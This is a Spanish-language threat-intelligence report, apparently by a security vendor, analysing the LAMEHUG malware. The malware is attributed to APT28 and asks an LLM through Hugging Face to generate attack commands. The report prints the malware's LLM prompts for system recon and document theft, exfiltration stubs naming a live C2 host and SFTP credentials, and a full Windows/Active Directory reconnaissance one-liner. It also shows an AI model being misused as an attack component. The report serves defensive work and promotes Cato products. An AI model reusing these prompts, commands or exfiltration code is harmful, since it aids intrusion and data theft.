Problema 6241

Resumen ejecutivo

El 17 de julio de 2025, el Equipo de Respuesta a Emergencias Informáticas de Ucrania (CERT-UA) reportó públicamente LAMEHUG, documentado como el primer malware conocido que integra capacidades de modelo de lenguaje grande (LLM) directamente en su metodología de ataque.

Datos clave:

• Fecha de descubrimiento: 10 de julio de 2025

• Atribución: APT28 (Fancy Bear) con un nivel de confianza moderado, según CERT-UA.

• Objetivo: Funcionarios del gobierno ucraniano.

• Vector de ataque: Correos electrónicos de phishing que suplantan la identidad de funcionarios del ministerio ucraniano y contienen archivos ZIP con ejecutables de Python compilados con PyInstaller.

• Innovación técnica: El malware utiliza LLM Qwen2.5-Coder-32B-Instruct para la generación de comandos en tiempo real. Nuestro análisis indica que APT28 utilizó aproximadamente 270 tokens Hugging Face para la autenticación.

• Evaluación: Prueba de concepto (PoC) para explorar la integración de LLM en operaciones cibernéticas patrocinadas por el estado.

Resumen técnico

Descubrimiento inicial y distribución

La campaña LAMEHUG comenzó cuando CERT-UA recibió informes sobre la distribución de correos electrónicos sospechosos entre funcionarios del gobierno ucraniano. Los correos electrónicos parecían provenir de representantes de los ministerios pertinentes y contenían un archivo adjunto llamado "Додаток.pdf.zip" (Attachment.pdf.zip).

Integración LLM

La característica distintiva de LAMEHUG es la integración de IA para la generación dinámica de ataques. Según la alerta de CERT-UA, el malware "utiliza LLM Qwen2.5-Coder-32B-Instruct a través de la API del servicio huggingface[.]co para generar comandos basados en texto introducido estáticamente (descripción) para su posterior ejecución en un ordenador".

Variantes de LAMEHUG

El archivo ZIP contenía un archivo ejecutable con la extensión ".pif", convertido a partir del código fuente de Python mediante PyInstaller. CERT-UA descubrió múltiples variantes del malware LAMEHUG:

• Додаток.pif (Attachment.pif)

• save_document.py

• AI_generator_uncensored_Canvas_PRO_v0.9.exe

• AI_image_generator_v0.95.exe

• image.py

Estas variantes mostraron diferencias funcionales en los métodos de exfiltración de datos, lo que indica un desarrollo y adaptación continuos de la familia de malware.

Ingeniería inversa: Los mensajes reales

Nuestro análisis de las muestras de malware reveló los mensajes exactos que se enviaban al LLM. El malware utiliza mensajes codificados en base64 para ocultar sus intenciones.

*Figura 1. Додаток.pif.pdf (Attachment.pif.pdf) que el usuario ve mientras se ejecuta el malware *

Análisis rápido de Додаток.pif Variante

*Figura 2. Indicaciones de Додаток.pif enviadas al modelo Qwen2.5-Coder-32B-Instruct (ejemplo) #1) *

*Figura 3. Indicaciones de Додаток.pif enviadas al modelo Qwen2.5-Coder-32B-Instruct (ejemplo) #2) *

*Figura 4. Mensajes de Додаток.pif enviados al modelo Qwen2.5-Coder-32B-Instruct (ejemplo #3) *

La variante Додаток.pif utiliza dos mensajes específicos:

1. Recopilación de información del sistema Aviso: "Crear una lista de comandos para crear la carpeta C:\Programdata\info y recopilar información del equipo, hardware, procesos y servicios, redes e información del dominio AD. Ejecutar en una sola línea y agregar cada resultado al archivo de texto c:\Programdata\info\info.txt. Devolver solo comandos, sin Markdown".

2. Recopilación de documentos. Aviso: "Crear una lista de comandos para copiar recursivamente diferentes documentos de Office y PDF/TXT en las carpetas Documentos, Descargas y Escritorio del usuario a la carpeta c:\Programdata\info\ para ejecutar en una sola línea. Devolver solo el comando, sin Markdown".

Análisis de indicaciones de las variantes del generador de imágenes de IA

*Figura 5. Indicaciones de image.py enviadas al modelo Qwen2.5-Coder-32B-Instruct *

Las variantes del generador de imágenes de IA (AI_generator_uncensored_Canvas_PRO_v0.9.exe y AI_image_generator_v0.95.exe) utilizan una generación de imágenes provocativa Aviso como señuelo:

"Mujer desnuda con curvas sentada, piernas largas y hermosas, vista frontal, vista de cuerpo completo, rostro visible."

Estas variantes contactan con la API del generador de imágenes Flux AI (https://router.huggingface.co/nebius/v1/images/generations) mientras ejecutan simultáneamente las mismas rutinas de recopilación y exfiltración de datos en segundo plano.

Flujo de Operación del Malware

Según nuestro análisis, LAMEHUG opera mediante el siguiente proceso:

1. Generación de Avisos: El malware contiene descripciones de texto predefinidas, codificadas en base64, de los objetivos de ataque deseados.

2. Comunicación con la API: El malware envía estos avisos al modelo Qwen2.5-Coder-32B-Instruct a través de la API de Hugging Face, utilizando aproximadamente 270 tokens para la autenticación.

3. Generación de Comandos: El LLM responde con secuencias de comandos ejecutables adaptadas al objetivo solicitado. 1. Ejecución en tiempo real: El malware ejecuta inmediatamente los comandos generados por la IA en el sistema objetivo.

Métodos de exfiltración

El malware implementa dos métodos de exfiltración diferentes según la variante. Exfiltración SFTP (variante de image.py)

def ssh_send(path):

dirección = '144[.]126[.]202[.]227'

puerto = 22

nombre de usuario = 'upstage'

contraseña = 'upstage'

ruta_destino = '/tmp/upl/'

# [Lógica de carga SFTP]

Exfiltración HTTP POST (variante de Додаток.pif)

def send(path):

url = 'https[:]//stayathomeclasses[.]com/slpw/up[.]php'

# [Lógica de carga HTTP POST]

Análisis de comandos generados por LLM

CERT-UA documentó la secuencia de comandos generada por la integración de LLM, demostrando las sofisticadas capacidades de reconocimiento logradas mediante la generación dinámica de IA.  

cmd.exe /c "mkdir %PROGRAMDATA%\info && systeminfo >> %PROGRAMDATA%\info\info.txt && wmic computersystem obtener nombre, fabricante, modelo >> %PROGRAMDATA%\info\info.txt && wmic cpu obtener nombre, velocidad >> %PROGRAMDATA%\info\info.txt && wmic memorychip obtener capacidad, velocidad >> %PROGRAMDATA%\info\info.txt && wmic diskdrive obtener modelo, tamaño >> %PROGRAMDATA%\info\info.txt && wmic nic obtener nombre, dirección MAC, dirección IP >> %PROGRAMDATA%\info\info.txt && tasklist >> %PROGRAMDATA%\info\info.txt && net start >> %PROGRAMDATA%\info\info.txt && ipconfig /all >> %PROGRAMDATA%\info\info.txt && whoami /user >> %PROGRAMDATA%\info\info.txt && whoami /groups >> %PROGRAMDATA%\info\info.txt && net config workstation >> %PROGRAMDATA%\info\info.txt && dsquery user -samid %username% >> %PROGRAMDATA%\info\info.txt && dsquery computer -name %COMPUTERNAME% >> %PROGRAMDATA%\info\info.txt && dsquery group >> %PROGRAMDATA%\info\info.txt && dsquery ou >> %PROGRAMDATA%\info\info.txt && dsquery site >> %PROGRAMDATA%\info\info.txt && dsquery subnet >> %PROGRAMDATA%\info\info.txt && dsquery server >> %PROGRAMDATA%\info\info.txt && dsquery domain >> %PROGRAMDATA%\info\info.txt" 

Esta completa secuencia de comandos demuestra la capacidad del LLM para generar comandos de reconocimiento del sistema exhaustivos que Recopilar:

• Información de hardware y sistema: wmic, systeminfo

• Procesos y servicios en ejecución: tasklist, net start

• Detalles de configuración de red: ipconfig, wmic nic

• Información de usuario y grupo: whoami, dsquery

• Enumeración completa de la estructura de Active Directory (AD): uso completo de dsquery

Evaluación de atribución: APT28: Prueba de nuevas capacidades

CERT-UA atribuye la campaña LAMEHUG a APT28 (Fancy Bear) con un nivel de confianza moderado. APT28 está asociado con la Unidad 26165 de la Dirección Principal de Inteligencia (GRU) de Rusia.

¿Por qué parece tratarse de una prueba de concepto?

Según nuestro análisis del código del malware y sus características operativas, varios factores sugieren que APT28 está probando nuevas capacidades de LLM en lugar de ejecutar una implementación operativa sofisticada:

1. Simplicidad del código: Los scripts de Python son relativamente básicos y carecen de las sofisticadas técnicas de evasión que suelen asociarse con las operaciones de APT28.

2. Integración obvia con IA: La integración con LLM se implementa de forma directa, sin intentar ofuscar ni ocultar el uso del servicio de IA.

3. Seguridad operativa limitada: El uso de indicaciones fácilmente identificables y servicios de IA legítimos sin técnicas avanzadas de enmascaramiento.

4. Campo de pruebas: Ucrania ha servido históricamente como campo de pruebas para las capacidades cibernéticas rusas, lo que la convierte en un lugar ideal para implementaciones de PoC.

5. Variantes múltiples: La presencia de diferentes variantes con distintos métodos de exfiltración sugiere la experimentación con diversos enfoques.

Desafíos de detección para las soluciones de seguridad tradicionales

LAMEHUG presenta desafíos fundamentales para los enfoques tradicionales de ciberseguridad:

• La detección basada en firmas falla debido a la generación dinámica de comandos.

• El tráfico de red parece legítimo (uso de la API de IA).

• El análisis del comportamiento requiere nuevas metodologías específicas para las amenazas impulsadas por LLM.

Informe de amenazas Cato CTRL™ 2025 | Descargar el informe

Mejores prácticas de seguridad

IA en la sombra (Visibilidad y control)

La protección más crítica contra amenazas de tipo LAMEHUG es controlar el acceso a la IA:

• Aplicar solo LLM aprobados: Defina a qué aplicaciones de IA generativa (GenAI) pueden acceder los usuarios y qué acciones están permitidas (cargar, descargar, etc.).

• Protección de datos en tiempo real: Limite o impida que se carguen datos confidenciales a los LLM, evitando así vulneraciones de la seguridad y la confidencialidad de los datos en tiempo real.

Visibilidad integral: Supervise el uso de GenAI en toda la organización con un catálogo de más de 950 aplicaciones GenAI de Cato CASB.

Protección a nivel de red

Detección de malware con aprendizaje automático: Cato NGAM utiliza algoritmos de aprendizaje automático para detectar malware de día cero y polimórfico.

Seguridad DNS: La protección DNS integrada en Cato IPS analiza las consultas y respuestas DNS para bloquear dominios maliciosos.

Control de aplicaciones: Supervise y controle el acceso a servicios en la nube y API, con especial atención a las plataformas de IA.  

Detección y respuesta extendidas

Con Cato XDR, las organizaciones pueden habilitar:

• Búsqueda de amenazas con IA/ML: Búsqueda continua de amenazas basada en ML y base UEBA para cada usuario, host y aplicación, lo que permite detectar malware oculto o comportamiento anómalo que elude los controles preventivos. - Investigación inteligente: Correlación automática de incidentes con puntuación dinámica de riesgos, que se muestra en un entorno de análisis dinámico para análisis profundos y rápidos, desde la historia general hasta flujos y registros sin procesar.

• Respuesta con un solo clic: La remediación integrada permite a los analistas de seguridad poner en cuarentena hosts, implementar nuevas reglas de SDP/firewall o activar acciones en endpoints al instante, todo desde una única consola.

Protección contra movimientos laterales

• Movimiento lateral: Cato IPS detecta, descubre y bloquea patrones e indicadores de movimiento lateral, lo que previene la propagación de malware a través de la WAN.

Acceso a la Red de Confianza Cero

• Microsegmentación: Cato Universal ZTNA permite a las organizaciones segmentar sus redes en partes más pequeñas con perímetros de seguridad definidos por software que limitan el movimiento lateral.

Conclusión

El descubrimiento de LAMEHUG por parte de CERT-UA marca un hito significativo en el panorama de amenazas. Si bien esta campaña parece ser una prueba de concepto (PoC) de APT28 (Fancy Bear), señala el comienzo de una nueva era en la que la IA se incorpora directamente a las operaciones de malware. La campaña destaca la inversión estatal en tecnologías emergentes de IA para actividades cibernéticas, siendo Ucrania el campo de pruebas para estas nuevas capacidades. La implementación relativamente sencilla sugiere que este es el intento de APT28 de aprender a convertir las LLM en armas, lo que probablemente abra la puerta a futuras campañas más sofisticadas basadas en IA.

Las organizaciones que utilizan una plataforma SASE, como la Plataforma en la Nube Cato SASE, están mejor posicionadas para defenderse de las amenazas emergentes impulsadas por IA mediante controles de seguridad integrados, análisis de comportamiento y capacidades avanzadas de prevención de amenazas. A medida que los actores de amenazas continúan evolucionando sus tácticas para incluir tecnologías de IA, las plataformas de seguridad deben evolucionar para proporcionar mecanismos de protección compatibles con IA.

Indicadores de Compromiso (IoC)

Indicadores de Archivo

| MD5 | SHA256 | Nombre de Archivo | | abe531e9f1e642c47260fac40dc41f59 | 766c356d6a4b00078a0293460c5967764fcd788da8c1cd1df708695f3a15b777 | Archivo[.]pif | | 3ca2eaf204611f3314d802c8b794ae2c | d6af1c9f5ce407e53ec73c8e7187ed804fb4f80cf8dbd6722fc69e15e135db2e | Generador de imágenes AI sin censura Canvas PRO v0.9[.]exe | | f72c45b658911ad6f5202de55ba6ed5c | bdb33bbb4ea11884b15f67e5c974136e6294aa87459cdc276ac2eea85b1deaa3 | Generador de imágenes AI v0.95[.]exe | | 81cd20319c8f0b2ce499f9253ce0a6a8 | 384e8f3d300205546fb8c9b9224011b3b3cb71adc994180ff55e1e6416f65715 | Imagen[.]py | Infraestructura de red

Mando y control:

• 144[.]126.202.227 (Servidor SFTP para exfiltración de datos)

• stayathomeclasses[.]com (Recurso de alojamiento comprometido)

• https://stayathomeclasses[.]com/slpw/up.php (Punto final de exfiltración)

Distribución:

• boroda70@meta[.]ua (Cuenta de correo electrónico comprometida)

• 192[.]36.27.37 (Infraestructura de envío de correo electrónico a través de LeVPN)

Puntos finales de la API LLM:

• https[:]//router[.]huggingface.co/hyperbolic/v1/chat/completions

• https[:]//router[.]huggingface.co/nebius/v1/images/generations

Basado en host Artefactos

• %PROGRAMDATA%\info\ (directorio de almacenamiento de datos)

• %PROGRAMDATA%\info\info.txt (archivo de recopilación de información del sistema)

• %PROGRAMDATA%\Додаток.pdf (documento señuelo)